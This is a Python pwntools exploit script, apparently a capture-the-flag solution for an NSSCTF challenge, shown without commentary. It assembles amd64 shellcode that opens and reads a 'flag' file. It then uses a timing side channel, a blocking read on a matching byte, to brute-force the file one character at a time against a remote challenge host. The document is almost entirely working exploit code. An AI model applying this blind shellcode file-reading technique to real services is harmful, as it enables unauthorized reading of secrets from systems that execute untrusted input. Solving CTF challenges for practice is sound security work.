1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
| from pwn import *
context.arch = 'amd64'
def dynamite_xor(io, idx, char): shellcode = shellcraft.amd64.pushstr("flag") shellcode += shellcraft.amd64.linux.open('rsp', 0, 0) shellcode += shellcraft.amd64.linux.read('rax', 'rsp', idx + 1) shellcode += "mov al,[rsp+{0}];xor rax,{1};".format(str(idx), str(char)) shellcode += shellcraft.amd64.linux.read('rax', 'rsp', 1) payload = asm(shellcode) io.recvuntil('Please input your shellcode: ') info("\033[0;34mmov al,[rsp+{0}]; xor rax, {1};\033[0m".format(str(idx), chr(char))) io.sendline(payload)
def dynamite_sub(io, idx, char): shellcode = shellcraft.amd64.pushstr("flag") shellcode += shellcraft.amd64.linux.open('rsp', 0, 0) shellcode += shellcraft.amd64.linux.read('rax', 'rsp', idx + 1) shellcode += "mov al,[rsp+{0}];sub rax,{1};".format(str(idx), str(char)) shellcode += shellcraft.amd64.linux.read('rax', 'rsp', 1) payload = asm(shellcode) io.recvuntil('Please input your shellcode: ') info("\033[0;34mmov al,[rsp+{0}];sub rax,{1};\033[0m".format(str(idx), chr(char))) io.sendline(payload)
def dynamite_add(io, idx, char): shellcode = shellcraft.amd64.pushstr("flag") shellcode += shellcraft.amd64.linux.open('rsp', 0, 0) shellcode += shellcraft.amd64.linux.read('rax', 'rsp', idx + 1) shellcode += "mov al,[rsp+{0}];sub rax,{1};add rax, 2".format(str(idx), str(char)) shellcode += shellcraft.amd64.linux.read('rax', 'rsp', 1) payload = asm(shellcode) io.recvuntil('Please input your shellcode: ') info("\033[0;33mmov al,[rsp+{0}];sub rax,{1};add rax, 2;\033[0m".format(str(idx), chr(char))) io.sendline(payload)
def check_time(io): start_time = time.time() try: io.recv() io.recv(timeout=2) except: pass if time.time() - start_time >= 1.5: return True else: return False
def check(io, idx, char): dynamite_sub(io, idx, char) if check_time(io): io1 = remote('node10.anna.nssctf.cn', 25204) dynamite_add(io1, idx, char) if check_time(io1): io1.close() return True return False
def main(): flag = "NSSCTF{" start_idx = len(flag) for idx in range(start_idx, 100): for char in range(32, 127): io = remote('node10.anna.nssctf.cn', 25204) if check(io, idx, char): flag += chr(char) success("\033[0;32mflag[{0}]:{1}\033[0m".format(str(idx), chr(char))) success("\033[0;32mflag:{0}\033[0m".format(flag)) break io.close() print(flag)
main()
|